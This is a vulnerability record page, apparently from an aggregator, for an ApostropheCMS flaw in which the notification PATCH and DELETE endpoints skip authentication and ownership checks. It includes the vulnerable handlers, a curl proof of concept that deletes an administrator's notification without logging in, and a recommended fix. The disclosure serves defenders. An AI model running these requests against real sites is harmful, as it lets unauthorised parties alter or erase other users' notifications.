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Response snapshot Oct 27, 2026, 01:06 UTC

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VulnerabilityCVE-2026-113665

ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints

The notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

Published Updated

At a glance

Exploited
Not known
Severity
3.7 Low (CVSS 3.1)
Chance of exploitation
0.3% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-vwwx-px9w-crrc (opens a new tab)

What happened

## Summary

The notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.

---

Continue reading

## Affected Code

**File**

```text packages/apostrophe/modules/@apostrophecms/notification/index.js ```

```javascript // restApiRoutes async patch(req, _id) { const dismissed = self.apos.launder.boolean(req.body.dismissed);

if (dismissed) { await self.emit('beforeSave', req, { _id, dismissed });

await self.db.updateOne( { _id }, { $set: { dismissed }, $currentDate: { updatedAt: true } } ); } },

async delete(req, _id) { await self.db.deleteMany({ _id }); } ```

Unlike the `GET` notification route, these handlers do **not** verify:

- Authentication (`req.user`) - Ownership (`userId === req.user._id`) - Authorization or permissions

Instead, the supplied `_id` is used directly against the raw MongoDB collection.

---

## Root Cause

The notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization.

While the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.

For comparison, the `GET` notification route correctly checks:

```javascript if (!(req.user && req.user._id)) { throw self.apos.error('invalid'); } ```

No equivalent validation exists in the `PATCH` or `DELETE` handlers.

---

## Proof of Concept

### 1. Log in as an administrator

```bash curl -sS -c admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null

curl -sS \ -b admin_cookies.txt \ -c admin_cookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "username":"admin", "password":"AdminP@ssw0rd123!", "session":true }' ```

---

### 2. Create a notification

```bash curl -sS \ -b admin_cookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/notification \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "message":"manual verify test", "type":"info" }' ```

Example response:

```json { "noteId":"p358r7phi2w8l245ww5130uf" } ```

---

### 3. Verify the notification exists

```bash curl -sS \ -b admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" ```

Response:

```json { "notifications":[ { "_id":"p358r7phi2w8l245ww5130uf", "userId":"i89h844o5n3nbreis0ugusum", "message":"manual verify test" } ], "dismissed":[] } ```

---

### 4. Access the endpoint without authentication

Create a fresh cookie jar containing only the public CSRF cookie:

```bash rm -f anon_cookies.txt

curl -sS \ -c anon_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null ```

Then send the request **without any authenticated session**:

```bash curl -i \ -b anon_cookies.txt \ -X DELETE \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \ -H "X-XSRF-TOKEN: csrf" ```

Response:

```http HTTP/1.1 200 OK ```

---

### 5. Verify the notification has been deleted

```bash curl -sS \ -b admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" ```

Response:

```json { "notifications":[], "dismissed":[] } ```

The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.

---

## Impact

An attacker who obtains a valid notification ID can:

- Delete another user's notifications. - Mark another user's notifications as dismissed. - Suppress security-related or administrative notifications.

The vulnerability primarily affects **integrity**.

Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.

---

## Recommended Fix

Require authentication before processing any modification request.

Additionally, scope all database operations to the authenticated user.

Example:

```javascript // patch async patch(req, _id) { if (!req.user) { throw self.apos.error('forbidden'); } const dismissed = self.apos.launder.boolean(req.body.dismissed); if (dismissed) { await self.emit('beforeSave', req, { _id, dismissed }); const result = await self.db.updateOne( { _id, userId: req.user._id }, // <-- ownership check { $set: { dismissed }, $currentDate: { updatedAt: true } } ); if (!result.

matchedCount) { throw self.apos.error('notfound'); } } }, // delete async delete(req, _id) { if (!req.user) { throw self.apos.error('forbidden'); } const result = await self.db.deleteMany({ _id, userId: req.user._id }); if (!result.deletedCount) { throw self.apos.error('notfound'); } } ```

Similarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records.

---

## Recommendation

Every notification modification endpoint should:

- Require authentication. - Verify ownership (`userId === req.user._id`). - Return `403 Forbidden` for unauthorized requests. - Avoid performing database operations solely using a user-controlled `_id`.

The same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.

Affected package ranges reported by GitHub: apostrophe: < 4.33.0

Scores and how they were measured

CVSS base severity

3.7

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.3%

Scored Percentile 19.9%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-vwwx-px9w-crrc (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vwwx-px9w-crrc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-113665, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 20). ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints (CVE-2026-113665). https://kevwire.com/record/CVE-2026-113665

MLA

"ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints (CVE-2026-113665)." KEVWire, 20 Oct. 2026, kevwire.com/record/CVE-2026-113665.

Chicago

KEVWire. "ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints (CVE-2026-113665)." Last modified October 20, 2026. https://kevwire.com/record/CVE-2026-113665.

Evidence summary (plain text)

ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints (Oct 20, 2026).
The notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.
CVSS 3.7 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-vwwx-px9w-crrc).
EPSS 0.3% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113665&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-vwwx-px9w-crrc: https://github.com/advisories/GHSA-vwwx-px9w-crrc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113665&date=2026-10-26
Record ID: CVE-2026-113665.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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